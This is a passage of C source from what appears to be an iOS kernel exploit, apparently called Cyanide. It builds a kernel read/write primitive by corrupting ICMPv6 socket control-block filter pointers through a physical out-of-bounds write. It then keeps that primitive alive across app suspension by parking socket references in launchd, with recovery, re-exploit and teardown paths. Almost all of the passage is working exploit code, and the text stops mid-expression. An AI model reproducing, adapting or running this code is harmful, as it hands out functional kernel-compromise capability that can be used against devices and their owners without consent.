    printf("[KRW] idle filter parking active (%ums quiet -> park)\n",
           (unsigned)(KRW_IDLE_PARK_IDLE_NS / 1000000ULL));
}

// Detach/reattach the socket fds around app suspension.
//
// A live KRW session dies when the device sleeps while Cyanide is running and
// holding the corrupted socket fds — iOS reclaims a suspended app's live
// sockets. A primitive that rests only in launchd (which never suspends, via
// the anchored fileports) survives sleep for days. So on backgrounding we close
// our own fds, leaving launchd's fileport reference to keep the socket object
// alive; on foreground we re-make fds from launchd and re-validate. The pcbs,
// kernel base and restore snapshot stay in memory across the gap.
static _Atomic bool gKrwSocketsDetached = false;

bool kexploit_krw_sockets_detached(void) {
    return atomic_load_explicit(&gKrwSocketsDetached, memory_order_relaxed);
}

bool kexploit_krw_detach_sockets(void) {
    if (atomic_load_explicit(&gKrwSocketsDetached, memory_order_relaxed)) return true;
    if (!kexploit_krw_session_active()) return false;
    if (!kexploit_krw_ready()) return false;
    // Park the filter at a safe address before we let go of the fds, so the
    // socket sits harmless (no stale OOB window) while it rests in launchd.
    krw_park_filter_internal(true);
    pthread_mutex_lock(&krwLock);
    if (controlSocket >= 0) { close(controlSocket); controlSocket = -1; }
    if (rwSocket >= 0)      { close(rwSocket);      rwSocket = -1; }
    pthread_mutex_unlock(&krwLock);
    // controlSocket/rwSocket are now -1, so kexploit_krw_session_active() is
    // false and the idle-park worker skips instead of hitting a closed fd.
    atomic_store_explicit(&gKrwSocketsDetached, true, memory_order_relaxed);
    printf("[KRW] sockets detached — primitive resting in launchd for background\n");
    return true;
}

// Adopt freshly-made fds (from launchd fileports) and re-validate. On failure
// resets the fds to -1 so the caller can clean up and fall back to re-exploit.
bool kexploit_krw_reattach_sockets(int controlFd, int rwFd) {
    if (controlFd < 0 || rwFd < 0) return false;
    pthread_mutex_lock(&krwLock);
    controlSocket = controlFd;
    rwSocket = rwFd;
    pthread_mutex_unlock(&krwLock);
    atomic_store_explicit(&gKrwSocketsDetached, false, memory_order_relaxed);
    if (!kexploit_krw_ready()) {
        printf("[KRW] reattach: primitive validation failed after foreground\n");
        pthread_mutex_lock(&krwLock);
        controlSocket = -1;
        rwSocket = -1;
        pthread_mutex_unlock(&krwLock);
        // Re-flag as detached (not "attached with -1 fds"): otherwise
        // krw_reattach_if_detached() would see detached==false and never retry,
        // leaving every later access stuck on "missing sockets control=-1".
        // Detached means the next access re-runs the lazy reattach.
        atomic_store_explicit(&gKrwSocketsDetached, true, memory_order_relaxed);
        return false;
    }
    krw_note_access();   // reset park state; idle worker re-parks after quiet
    printf("[KRW] sockets reattached from launchd — primitive live again\n");
    return true;
}

bool kexploit_terminal_cleanup(void) {
    printf("[KRW] terminal cleanup requested\n");
    // Already resting in launchd (idle detach, background detach, or screen
    // blank): the filter is parked and the fds are gone on purpose. Probing it
    // here would only report EBADF and log a false "not parked" warning, so
    // report the truth and leave the anchored fileports alone -- they are what
    // the next launch recovers from.
    if (kexploit_krw_sockets_detached()) {
        printf("[KRW] terminal cleanup: sockets already detached to launchd; "
               "filter parked, nothing to unwind\n");
        kexploit_preflight_cleanup();
        printf("[KRW] terminal cleanup complete parked=1 (detached)\n");
        return true;
    }
    if (!gKrwRestoreSnapshotValid) {
        printf("[KRW] terminal cleanup: no PCB restore snapshot; closing local fds only\n");
        kexploit_preflight_cleanup();
        return false;
    }
    if (!is_kaddr_valid(controlSocketPcb) || !is_kaddr_valid(rwSocketPcb)) {
        printf("[KRW] terminal cleanup: invalid pcb control=%#llx rw=%#llx\n",
               controlSocketPcb, rwSocketPcb);
        kexploit_preflight_cleanup();
        return false;
    }
    if (!kexploit_krw_ready()) {
        printf("[KRW] terminal cleanup: KRW unavailable, dropping local exploit state only\n");
        kexploit_preflight_cleanup();
        return false;
    }

    printf("[KRW] terminal cleanup: parking RW PCB fields and control checksum\n");
    early_kwrite64(controlSocketPcb + off_inpcb_inp_depend6_inp6_chksum,
                   gKrwRestoreControlCksum);

    uint8_t rwRestore[EARLY_KRW_LENGTH];
    memset(rwRestore, 0, sizeof(rwRestore));
    // Round 9: rest on the permanent donor filter when we have one; the leaked
    // pcb must never be left pointing at transient memory, even on teardown.
    *(uint64_t *)(rwRestore + 0) = is_kaddr_valid(gKrwPermanentFilter)
                                   ? gKrwPermanentFilter : gKrwRestoreRwFilter;
    *(uint64_t *)(rwRestore + 8) = gKrwRestoreRwCksum;
    early_kwrite32bytes(rwSocketPcb + off_inpcb_inp_depend6_inp6_icmp6filt,
                        rwRestore);
    bool parked = true;
    printf("[KRW] terminal cleanup: RW parked; control filter left linked by design\n");

    kexploit_preflight_cleanup();
    printf("[KRW] terminal cleanup complete parked=%d\n", parked);
    return parked;
}

// Lazy reattach for the idle detach in krw_idle_park_worker().
//
// Between two KRW accesses the worker may have handed our socket fds to
// launchd, so every access has to be able to take them back. This runs with
// krwLock NOT held -- krw_persistence_reattach_for_foreground() reaches
// kexploit_krw_reattach_sockets(), which takes krwLock itself -- and the
// result is re-checked under the lock, because a detach can land in the window
// between the two.
static pthread_mutex_t krwReattachLock = PTHREAD_MUTEX_INITIALIZER;

// After this many consecutive failed reattaches we stop trying. A transient
// bootstrap_look_up miss recovers in a retry or two, but once the underlying
// socket is genuinely dead (validation errno=22) or launchd has dropped the
// service, every access would otherwise re-run bootstrap_look_up forever —
// every 2 s, logging each time — and never settle. Giving up clears the
// detached flag so kexploit_krw_ready() returns a clean "not ready" and the
// next explicit Run does a fresh exploit instead of spinning.
#define KRW_REATTACH_GIVEUP 6

static void krw_reattach_if_detached(void) {
    if (!kexploit_krw_sockets_detached()) return;
    // Don't reattach while backgrounded/screen-off (no live tweak): let the
    // socket rest untouched in launchd instead of an in-flight poll thrashing
    // detach/reattach right after the background detach. Reattaches on the next
    // foreground access.
    if (settings_krw_reattach_suppressed()) return;
    if (atomic_load_explicit(&gKrwReattachFailStreak, memory_order_relaxed) >= KRW_REATTACH_GIVEUP)
        return;   // already gave up this session; wait for an explicit re-arm
    pthread_mutex_lock(&krwReattachLock);
    if (kexploit_krw_sockets_detached()) {
        if (krw_persistence_reattach_for_foreground()) {
            atomic_store_explicit(&gKrwReattachFailStreak, 0, memory_order_relaxed);
        } else {
            int n = atomic_fetch_add_explicit(&gKrwReattachFailStreak, 1,
                                              memory_order_relaxed) + 1;
            printf("[KRW] lazy reattach from launchd failed — primitive lost (%d/%d)\n",
                   n, KRW_REATTACH_GIVEUP);
            if (n >= KRW_REATTACH_GIVEUP) {
                // Escalate ONCE to the heavier persistence recovery before
                // declaring the primitive gone. The lazy reattach only retries
                // bootstrap_look_up of the saved service names, while
                // krw_persistence_recover() additionally reloads the saved
                // snapshot from NSUserDefaults and revalidates the primitive end
                // to end — the path that brought the session back at
                // live 10.log 17:49:10 after the look_up flap at 17:49:03.
                //
                // Clear the detached flag FIRST: recover() calls
                // kexploit_krw_ready(), which re-enters this very function, and
                // with the flag still set that would deadlock on krwReattachLock
                // (a plain non-recursive mutex). With the flag clear, the
                // re-entry returns at the first check and never touches the lock.
                atomic_store_explicit(&gKrwSocketsDetached, false, memory_order_relaxed);
                printf("[KRW] lazy reattach escalating to persistence recover "
                       "after %d failures\n", KRW_REATTACH_GIVEUP);
                if (krw_persistence_recover()) {
                    atomic_store_explicit(&gKrwReattachFailStreak, 0, memory_order_relaxed);
                    printf("[KRW] escalation recovered the primitive — session live again\n");
                } else {
                    // Keep the give-up: mark the session not-detached with no
                    // fds, so ready() cleanly reports "not ready" without
                    // retrying and the next explicit Run does a fresh exploit.
                    printf("[KRW] reattach gave up after %d tries — parked primitive is "
                           "gone; next Run will re-exploit\n", KRW_REATTACH_GIVEUP);
                }
            }
        }
    }
    pthread_mutex_unlock(&krwReattachLock);
}

// Terminal teardown only (see kexploit_opa334.h). Bypasses BOTH reattach
// gates that rightly constrain the lazy path — the background/screen-off
// suppression and the give-up streak — because the app is dying and a hijacked
// launchd thread cannot be restored without live fds. Escalates straight to
// krw_persistence_recover() when the light reattach fails, clearing the
// detached flag first for the same re-entrancy reason as the lazy path above
// (recover() -> kexploit_krw_ready() -> krw_reattach_if_detached()). Runs with
// no KRW locks held.
bool kexploit_krw_force_reattach_for_teardown(void) {
    if (!kexploit_krw_sockets_detached())
        return kexploit_krw_ready();
    if (krw_persistence_reattach_for_foreground()) {
        atomic_store_explicit(&gKrwReattachFailStreak, 0, memory_order_relaxed);
        return true;
    }
    printf("[KRW] teardown reattach escalating to persistence recover\n");
    atomic_store_explicit(&gKrwSocketsDetached, false, memory_order_relaxed);
    if (krw_persistence_recover()) {
        atomic_store_explicit(&gKrwReattachFailStreak, 0, memory_order_relaxed);
        printf("[KRW] teardown escalation recovered the primitive\n");
        return true;
    }
    // Primitive genuinely gone: leave the flag cleared with no fds so ready()
    // reports "not ready" and the caller abandons instead of hanging on dead
    // IPC. The app is exiting; nothing will re-arm from here.
    return false;
}

// Take krwLock with live fds in hand. Returns with krwLock held, or false if
// the sockets are gone and could not be re-made.
static bool krw_lock_for_access(void) {
    // Batched composite (round 13): this thread already holds krwLock from
    // krw_batch_begin() — do NOT re-lock (non-recursive mutex → deadlock) and
    // do NOT re-attach (the fds cannot have been closed: every close path
    // takes krwLock, which we hold). Per-op repark is deferred to
    // krw_op_end_locked()/krw_batch_end().
    if (tKrwBatchDepth > 0)
        return controlSocket >= 0 && rwSocket >= 0;
    for (int attempt = 0; attempt < 3; attempt++) {
        krw_reattach_if_detached();
        pthread_mutex_lock(&krwLock);
        if (controlSocket >= 0 && rwSocket >= 0) return true;
        pthread_mutex_unlock(&krwLock);
    }
    return false;
}

// Non-fatal read mode (see kexploit_opa334.h). While ON, early_kread
// zero-fills and returns instead of crashing on an invalid address or a
// transient socket failure. A process manager polling kernel structs every
// second must degrade to "no data this cycle", never take the app (or the
// device's uptime) down with it.
//
// This is a DEPTH counter, not a bool. Windows nest (procmgr_calibrate wraps
// sub-calibrators that manage their own window) and overlap across threads
// (remote_pac's window can end on the kill thread mid-poll). With a plain
// bool, the inner/earlier exit reset yanked the flag false mid-pass and the
// next invalid read hit the deliberate crash below — SIGSEGV at 0x1
// (Cyanide-2026-09-29-185056.ips: calibrate pass outlived the background
// detach, flag raced off, kread64 of a zero-filled pointer).
static _Atomic int gKrwNonfatalDepth = 0;
void krw_set_nonfatal(bool on) {
    if (on) {
        atomic_fetch_add_explicit(&gKrwNonfatalDepth, 1, memory_order_relaxed);
    } else if (atomic_load_explicit(&gKrwNonfatalDepth, memory_order_relaxed) > 0) {
        atomic_fetch_sub_explicit(&gKrwNonfatalDepth, 1, memory_order_relaxed);
    }
}
static bool krw_nonfatal_active(void) {
    return atomic_load_explicit(&gKrwNonfatalDepth, memory_order_relaxed) > 0;
}

// Sticky op-error latch: set by every fail-safe early_kread/early_kwrite
// bailout so a caller that cares (verdicts, calibration validation) can tell
// "zeros because the value is zero" from "zeros because the read never ran".
// The failure logs are REPEAT-CAPPED: a stuck poll would otherwise write a
// line per second, and each log write trips the logger's F_FULLFSYNC (the
// silent disk-writes resource kill documented at procmgr_calibrate).
//
// CONTRACT (round 15): there is no abort anymore — every KRW failure returns
// zero-filled data and latches this flag instead. Any caller whose DECISION
// depends on a read having actually happened (kill verdicts, donor validate/
// harden, calibration cache validation) MUST consult krw_op_error() after its
// read sequence, or must independently reject zero-filled results (range
// checks, double-read consistency) the way the current verdict/calibration
// paths do. New code paths: check the latch; do not assume a crash would have
// saved you.
static _Atomic bool gKrwOpError = false;
static _Atomic uint64_t gKrwOpErrorCount = 0;
bool krw_op_error(void) { return atomic_load_explicit(&gKrwOpError, memory_order_relaxed); }
void krw_op_error_clear(void) { atomic_store_explicit(&gKrwOpError, false, memory_order_relaxed); }
uint64_t krw_op_error_count(void) { return atomic_load_explicit(&gKrwOpErrorCount, memory_order_relaxed); }
static void krw_note_op_error(const char *what, uint64_t where) {
    atomic_store_explicit(&gKrwOpError, true, memory_order_relaxed);
    atomic_fetch_add_explicit(&gKrwOpErrorCount, 1, memory_order_relaxed);
    static int sOpErrorLogCount = 0;
    if (sOpErrorLogCount < 20) {
        sOpErrorLogCount++;
        printf("[KRW] op failed safely (%s, kaddr=0x%llx) — zeros returned, op-error latched%s\n",
               what, (unsigned long long)where,
               sOpErrorLogCount == 20 ? " (further logs capped)" : "");
    }
}

// KT-01/KT-02: per-call result. Returns false on every fail-safe bailout
// (buffer zero-filled, op-error latched), true only when getsockopt actually
// ran. Callers that commit a write based on what they read (read-modify-write,
// double-read stability checks) must use THIS, not krw_op_error() — the latch
// and counter are global and other threads bump them concurrently.
bool early_kread_checked(uint64_t where, void *read_buf, size_t size) {
    krw_note_access();
    // F-06: the whole range must be kernel space, without wrapping -- the
    // kernel copies exactly these bytes, and a fault there is a panic.
    if (size == 0 || where + size - 1 < where || !is_kaddr_valid(where + size - 1)) {
        krw_note_op_error("read range invalid", where);
        if (size) memset(read_buf, 0, size);
        return false;
    }
    if(!is_kaddr_valid(where)) {
        if (krw_nonfatal_active()) {
            krw_note_op_error("invalid kaddr (nonfatal window)", where);
            memset(read_buf, 0, size);
            return false;
        }
        // FAIL-SAFE even outside a nonfatal window: the 0x1 write that used to
        // stand here turned any un-gated caller into an app crash (bug_type 309,
        // Cyanide-2026-09-29-185056.ips). Log the backtrace for forensics, then
        // degrade like the nonfatal path.
        printf("[%s:%d] kaddr isn't valid: 0x%llx — failing safe (no crash)\n",
               __FUNCTION__, __LINE__, where);
        void *bt[64]; int n = backtrace(bt, 64);
        char **s = backtrace_symbols(bt, n);
        for (int i = 0; i < n && i < 12; i++) printf("  #%d %s\n", i, s[i]);
        free(s);
        krw_note_op_error("invalid kaddr", where);
        memset(read_buf, 0, size);
        return false;
    }

    if (size > EARLY_KRW_LENGTH) {
        printf("[!] error: (size > EARLY_KRW_LENGTH) — failing safe\n");
        krw_note_op_error("oversize read", where);
        memset(read_buf, 0, size);
        return false;
    }
    if (!krw_lock_for_access()) {
        if (krw_nonfatal_active()) {
            krw_note_op_error("sockets unavailable (nonfatal window)", where);
            memset(read_buf, 0, size);
            return false;
        }
        krw_note_op_error("sockets detached, reattach failed", where);
        memset(read_buf, 0, size);
        return false;
    }
    if (!set_target_kaddr(where)) {
        krw_op_end_locked();
        krw_note_op_error("set target failed", where);
        memset(read_buf, 0, size);
        return false;
    }
    socklen_t read_data_length = (socklen_t)size;
    int res = getsockopt(rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, read_buf, &read_data_length);
    int savedErrno = errno;
    krw_op_end_locked();   // round 9: repark + unlock (round 13: deferred in a batch)
    if (res != 0) {
        if (!krw_nonfatal_active()) {
            printf("[-] getsockopt failed (errno=%d) — failing safe\n", savedErrno);
            void *bt[64]; int n = backtrace(bt, 64);
            char **s = backtrace_symbols(bt, n);
            for (int i = 0; i < n && i < 12; i++) printf("  #%d %s\n", i, s[i]);
            free(s);
        }
        krw_note_op_error("getsockopt failed", where);
        memset(read_buf, 0, size);
        return false;
    }
    return true;
}

void early_kread(uint64_t where, void *read_buf, size_t size) {
    (void)early_kread_checked(where, read_buf, size);
}

uint64_t early_kread64(uint64_t where) {
    uint64_t value = 0;
    early_kread(where, &value, sizeof(value));
    return value;
}

// Per-call result twin of early_kwrite32bytes(): false whenever the write was
// skipped (op-error latched), true only when setsockopt succeeded.
bool early_kwrite32bytes_checked(uint64_t where, const uint8_t writeBuf[EARLY_KRW_LENGTH]) {
    krw_note_access();
    // KT-01: same address gate as the read side. Without it a zero/garbage
    // target (a failed upstream read) was pointed at and written through. The
    // whole 32-byte window must be in range, not just its first byte.
    if (!is_kaddr_valid(where) || !is_kaddr_valid(where + EARLY_KRW_LENGTH - 1)) {
        krw_note_op_error("kwrite: invalid kaddr", where);
        return false;
    }
    if (!krw_lock_for_access()) {
        // FAIL-SAFE: this used to exit(0) — deadly mid-RemoteCall (the round-2
        // "initproc exited" mechanism). Skip the write, latch the error.
        krw_note_op_error("kwrite: sockets detached, reattach failed", where);
        return false;
    }
    if (!set_target_kaddr(where)) {
        krw_op_end_locked();
        krw_note_op_error("kwrite: set target failed", where);
        return false;
    }
    int res = setsockopt(rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, writeBuf, EARLY_KRW_LENGTH);
    int savedErrno = errno;
    krw_op_end_locked();   // round 9: repark + unlock (round 13: deferred in a batch)
    if (res != 0) {
        printf("[-] setsockopt failed (errno=%d) — write skipped, failing safe\n",
               savedErrno);
        krw_note_op_error("kwrite: setsockopt failed", where);
        return false;
    }
    return true;
}

void early_kwrite32bytes(uint64_t where, uint8_t writeBuf[EARLY_KRW_LENGTH]) {
    (void)early_kwrite32bytes_checked(where, writeBuf);
}

// The socket primitive always moves a full 32-byte icmp6_filter, so an 8-byte
// write is really a 32-byte read-modify-write starting at `where`. If
// `where + 31` falls in the next page and that page is not mapped, both halves
// fault — a kernel data abort with a level-3 translation fault.
//
// Dopamine's DarkSword guards this by sliding the 32-byte window *backwards*
// so it ends at the last byte the caller actually asked for, keeping the whole
// access inside the page the target lives on. Cyanide did not. Ported from
// Dopamine's early_kwritebuf(), whose comment reads:
// "if we would cross a page boundary without the user wanting it, we need to
//  align the read to the end of the buffer / this prevents errors / panics when
//  the next page isn't mapped".
void early_kwritebuf(uint64_t where, const void *writeBuf, size_t size) {
    if (size > EARLY_KRW_LENGTH) {
        // Same fail-safe as early_kread's oversize check (was exit(0)).
        printf("[!] error: (size > EARLY_KRW_LENGTH) — write skipped, failing safe\n");
        krw_note_op_error("oversize write", where);
        return;
    }

    uint64_t pageMask = (uint64_t)vm_page_size - 1;
    uint64_t realEnd = where + EARLY_KRW_LENGTH - 1;
    int64_t offset = 0;
    if ((where & ~pageMask) != (realEnd & ~pageMask)) {
        offset = (int64_t)(EARLY_KRW_LENGTH - size);
    }

    uint8_t tmpBuf[EARLY_KRW_LENGTH];
    // KT-01: the read supplies the bytes around the value that get written
    // back. If it failed, tmpBuf is zero-filled and writing it would zero the
    // neighbouring fields — skip the write instead (the read already latched).
    if (!early_kread_checked((uint64_t)((int64_t)where - offset), tmpBuf, EARLY_KRW_LENGTH)) {
        krw_note_op_error("kwrite: prerequisite read failed, write skipped", where);
        return;
    }
    memcpy(&tmpBuf[offset], writeBuf, size);
    early_kwrite32bytes((uint64_t)((int64_t)where - offset), tmpBuf);
}

void early_kwrite64(uint64_t where, uint64_t what) {
    early_kwritebuf(where, &what, sizeof(what));
}

int find_and_corrupt_socket(mach_port_t memoryObject, mach_vm_offset_t seekingOffset, void *readBuffer, void *writeBuffer, NSMutableArray *targetInpGencntList, bool doRead) {
    // Round 21: once the primitive has produced repeated full-page
    // inconsistencies, its view of physical memory cannot be trusted — refuse
    // to even probe further so callers unwind instead of grinding on.
    if (physical_oob_run_aborted())
        return PHYSICAL_OOB_CORRUPT_FATAL;

    if (doRead) {
        kern_return_t kr = physical_oob_read_mo_with_retry(memoryObject, seekingOffset,
                                                           OOB_SIZE, OOB_OFFSET,
                                                           readBuffer);
        if (kr != KERN_SUCCESS)
            return -1;
    }

    int searchStartIdx = 0;
    bool targetFound = false;
    uint64_t pcbStartOffset = 0;
    const char *matchedMarker = NULL;
    do {
        void *bestFound = NULL;
        const char *bestMarker = NULL;

        if (processMarkerCount == 0 && executableName)
            add_process_marker_variants(executableName);

        for (size_t markerIdx = 0; markerIdx < processMarkerCount; markerIdx++) {
            const char *marker = processMarkers[markerIdx];
            size_t markerLen = strnlen(marker, PROCESS_MARKER_MAX_LEN);
            if (markerLen == 0) continue;

            void *candidate = memmem((uint8_t *)readBuffer + searchStartIdx,
                                     OOB_SIZE - searchStartIdx,
                                     marker,
                                     markerLen);
            if (candidate && (!bestFound || candidate < bestFound)) {
                bestFound = candidate;
                bestMarker = marker;
            }
        }

        if (bestFound) {
            pcbStartOffset = ((uint64_t)((uint8_t *)bestFound - (uint8_t *)readBuffer)) & 0xFFFFFFFFFFFFFC00;
            if (*(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_chksum) == 0x0000ffffffffffffULL) {
                targetFound = true;
                matchedMarker = bestMarker;
                break;
            }
        }
        searchStartIdx += 0x400;
    } while (searchStartIdx < OOB_SIZE);

    if (targetFound) {
        if (matchedMarker)
            printf("[+] matched PCB via process marker: %s\n", matchedMarker);
        printf("[+] pcbStartOffset: %#llx\n", pcbStartOffset);
        uint64_t socketCount = active_socket_count();
        if (socketCount == 0) {
            printf("[-] No sprayed sockets to match PCB\n");
            return -1;
        }
        uint64_t targetInpGencnt =
            *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + 0x78);
        printf("[+] targetInpGencnt: %#llx\n", targetInpGencnt);
        if (targetInpGencnt == active_socket_pcb_id(socketCount - 1)) {
            printf("[-] Found last PCB\n");
            return -1;
        }
        bool isOurPcd = false;
        int controlSocketIdx = 0;
        for (uint64_t sockIdx = 0; sockIdx < socketCount; sockIdx++) {
            if (active_socket_pcb_id(sockIdx) == targetInpGencnt) {
                isOurPcd = true;
                controlSocketIdx = (int)sockIdx;
                break;
            }
        }
        if (!isOurPcd) {
            printf("[-] Found freed PCB Page!\n");
            return -1;
        }
        if (target_gencnt_seen_or_add(targetInpGencnt, targetInpGencntList)) {
            printf("[-] Found old PCB Page!!!!\n");
            return -1;
        }
        if ((uint64_t)controlSocketIdx + 1 >= socketCount) {
            printf("[-] Missing rw_socket after control_socket idx: %u\n", controlSocketIdx);
            return -1;
        }

        uint64_t rwInpGencnt = active_socket_pcb_id((uint64_t)controlSocketIdx + 1);
        bool rwSnapshotFound = false;
        uint64_t rwOrigFilter = 0;
        uint64_t rwOrigCksum = 0;
        for (uint64_t off = 0;
             off + off_inpcb_inp_depend6_inp6_chksum + sizeof(uint64_t) <= OOB_SIZE;
             off += 0x400) {
            if (off + 0x78 + sizeof(uint64_t) > OOB_SIZE) continue;
            uint64_t candidateGencnt =
                *(uint64_t *)((uintptr_t)readBuffer + off + 0x78);
            if (candidateGencnt != rwInpGencnt) continue;

            rwOrigFilter =
                *(uint64_t *)((uintptr_t)readBuffer + off + off_inpcb_inp_depend6_inp6_icmp6filt);
            rwOrigCksum =
                *(uint64_t *)((uintptr_t)readBuffer + off + off_inpcb_inp_depend6_inp6_chksum);
            rwSnapshotFound = true;
            break;
        }

        uint64_t inpListNextPointer = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + 0x28) - 0x20;
        uint64_t icmp6Filter = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt);
        uint64_t controlOrigCksum =
            *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_chksum);
        printf("[+] inpListNextPointer: %#llx\n", inpListNextPointer);
        printf("[+] icmp6Filter: %#llx\n", icmp6Filter);

        // Round 21 pre-write validation (panic-2 class). The identification
        // above rests on a marker string, one magic qword and one gencnt —
        // enough to READ, not enough to WRITE a page the kernel may be using
        // for something else. Before any OOB write, require:
        //  1) inp_list linkage sanity: le_next (inpcb+0x20) is NULL at list
        //     end or a kernel pointer; le_prev (+0x28, what inpListNextPointer
        //     is derived from) must be a kernel pointer; and the derived
        //     previous-PCB address — the base the corrupt write's target is
        //     computed from — must sit 16-aligned in the kernel heap band.
        //  2) Corroboration: at spray density a real inpcb zone page carries
        //     MORE THAN ONE 0x400-stride slot with the full inpcb signature
        //     (chksum sentinel + a sprayed gencnt). One accidental match is
        //     conceivable; two on the same page is not.
        // Failure is a MISS — the scan continues; we never write a page we
        // are not sure of.
        uint64_t inpListLeNext = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + 0x20);
        uint64_t inpListLePrev = *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + 0x28);
        if (!((inpListLeNext == 0 || is_kaddr_valid(inpListLeNext)) &&
              is_kaddr_valid(inpListLePrev) &&
              oob_is_heap_ptr(inpListNextPointer))) {
            printf("[-] PCB candidate failed linkage sanity (le_next=%#llx le_prev=%#llx derived=%#llx) — miss, NOT writing\n",
                   inpListLeNext, inpListLePrev, inpListNextPointer);
            return -1;
        }
        unsigned signatureSlots = 0;
        for (uint64_t off = 0;
             off + 0x78 + sizeof(uint64_t) <= OOB_SIZE &&
             off + off_inpcb_inp_depend6_inp6_chksum + sizeof(uint64_t) <= OOB_SIZE;
             off += 0x400) {
            if (*(uint64_t *)((uintptr_t)readBuffer + off + off_inpcb_inp_depend6_inp6_chksum) != 0x0000ffffffffffffULL)
                continue;
            uint64_t g = *(uint64_t *)((uintptr_t)readBuffer + off + 0x78);
            for (uint64_t si = 0; si < socketCount; si++) {
                if (active_socket_pcb_id(si) == g) {
                    signatureSlots++;
                    break;
                }
            }
        }
        if (signatureSlots < 2) {
            printf("[-] PCB candidate lacks corroboration (%u signed slot(s) < 2) — miss, NOT writing\n",
                   signatureSlots);
            return -1;
        }

        if (rwSnapshotFound) {
            krw_restore_snapshot_note(icmp6Filter, controlOrigCksum,
                                      rwOrigFilter, rwOrigCksum);
        } else {
            kexploit_krw_restore_snapshot_clear();
            printf("[KRW] restore snapshot unavailable: rw PCB not in OOB window\n");
        }
        rwSocketPcb = inpListNextPointer;
        uint8_t originalPage[OOB_SIZE];
        memcpy(originalPage, readBuffer, OOB_SIZE);
        memcpy(writeBuffer, readBuffer, OOB_SIZE);
        *(uint64_t *)((uintptr_t)writeBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt) = inpListNextPointer + off_inpcb_inp_depend6_inp6_icmp6filt;
        *(uint64_t *)((uintptr_t)writeBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_chksum) = 0;

        printf("[+] Corrupting icmp6filter pointer...\n");
        bool corruptConfirmed = false;
        for (unsigned attempt = 0; attempt < PHYSICAL_OOB_CORRUPT_RETRY_LIMIT; attempt++) {
            physical_oob_write_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, writeBuffer);
            kern_return_t kr = physical_oob_read_mo_with_retry(memoryObject, seekingOffset,
                                                               OOB_SIZE, OOB_OFFSET,
                                                               readBuffer);
            if (kr != KERN_SUCCESS) {
                physical_oob_restore_candidate(memoryObject, seekingOffset,
                                               originalPage);
                active_socket_leak_port((uint64_t)controlSocketIdx);
                return -1;
            }
            uint64_t newIcmp6Filter =
                *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt);
            if (newIcmp6Filter ==
                inpListNextPointer + off_inpcb_inp_depend6_inp6_icmp6filt) {
                // Round 21: full-page verify. The readback matching only the
                // patched qword proves the patch landed — it says NOTHING
                // about the other 0xeff bytes. A race-smear that lands the
                // patch while corrupting neighbours is a panic-2 seed, so
                // diff the whole page against the original read and allow
                // only the two patched qwords (plus a small tolerance for
                // live PCB list links the kernel moved concurrently).
                unsigned diffs = 0;
                for (uint64_t q = 0; q + sizeof(uint64_t) <= OOB_SIZE; q += sizeof(uint64_t)) {
                    if (q == pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt ||
                        q == pcbStartOffset + off_inpcb_inp_depend6_inp6_chksum)
                        continue;
                    if (*(uint64_t *)((uintptr_t)readBuffer + q) !=
                        *(uint64_t *)((uintptr_t)originalPage + q))
                        diffs++;
                }
                if (diffs > PHYSICAL_OOB_WRITE_DIFF_TOLERANCE) {
                    g_oob_inconsistencyCount++;
                    log_user("[WARN] Physical OOB write smeared %u qword(s) beyond the "
                             "patch — restoring and abandoning this candidate "
                             "(%u/%d before the run aborts itself).\n",
                             diffs, g_oob_inconsistencyCount,
                             PHYSICAL_OOB_INCONSISTENCY_ABORT);
                    physical_oob_restore_candidate(memoryObject, seekingOffset,
                                                   originalPage);
                    active_socket_leak_port((uint64_t)controlSocketIdx);
                    return physical_oob_run_aborted() ? PHYSICAL_OOB_CORRUPT_FATAL : -1;
                }
                if (diffs) {
                    printf("[KRW] post-write verify: %u qword(s) moved concurrently "
                           "(within tolerance)\n", diffs);
                }
                printf("[+] target corrupted: %#llx\n",
                       *(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + off_inpcb_inp_depend6_inp6_icmp6filt));
                corruptConfirmed = true;
                break;
            }
        }
        if (!corruptConfirmed) {
            printf("[-] icmp6filter corruption not observed after bounded retries\n");
            physical_oob_restore_candidate(memoryObject, seekingOffset,
                                           originalPage);
            active_socket_leak_port((uint64_t)controlSocketIdx);
            return -1;
        }
        int sock = fileport_makefd(active_socket_port((uint64_t)controlSocketIdx));
        socklen_t len = GETSOCKOPT_READ_LEN;
        int res = getsockopt(sock, IPPROTO_ICMPV6, ICMP6_FILTER,
                             getsockoptReadData, &len);
        if (res != 0) {
            printf("[-] getsockopt failed, treating candidate as miss\n");
            physical_oob_restore_candidate(memoryObject, seekingOffset,
                                           originalPage);
            active_socket_leak_port((uint64_t)controlSocketIdx);
            close(sock);
            return -1;
        }
        uint64_t marker = *(uint64_t *)getsockoptReadData;
        if (marker != -1) {
            printf("[+] Found control_socket at idx: %u\n", controlSocketIdx);
            // Fallback restore-snapshot capture. pe_v2's reoccupation often does
            // not land the RW PCB in the OOB window, so the scan above leaves
            // rwSnapshotFound false and the snapshot cleared -- then teardown
            // can't cleanly un-corrupt the socket (parked=0) and pe_v2 parks
            // don't recover reliably. But control's filter now points at
            // rwSocketPcb+off_icmp6filt, so getsockoptReadData already holds the
            // RW PCB's original [filter, cksum], read here before any
            // set_target_kaddr overwrites the filter field. Capture it so pe_v2
            // parks and recovers as cleanly as pe_v1. (off_chksum == off_icmp6filt
            // + 8 on every supported build, well within GETSOCKOPT_READ_LEN.)
            if (!gKrwRestoreSnapshotValid) {
                uint64_t rwFilterOrig = marker;   // getsockoptReadData[off_icmp6filt]
                uint64_t rwCksumOrig  = *(uint64_t *)((uint8_t *)getsockoptReadData +
                    (off_inpcb_inp_depend6_inp6_chksum -
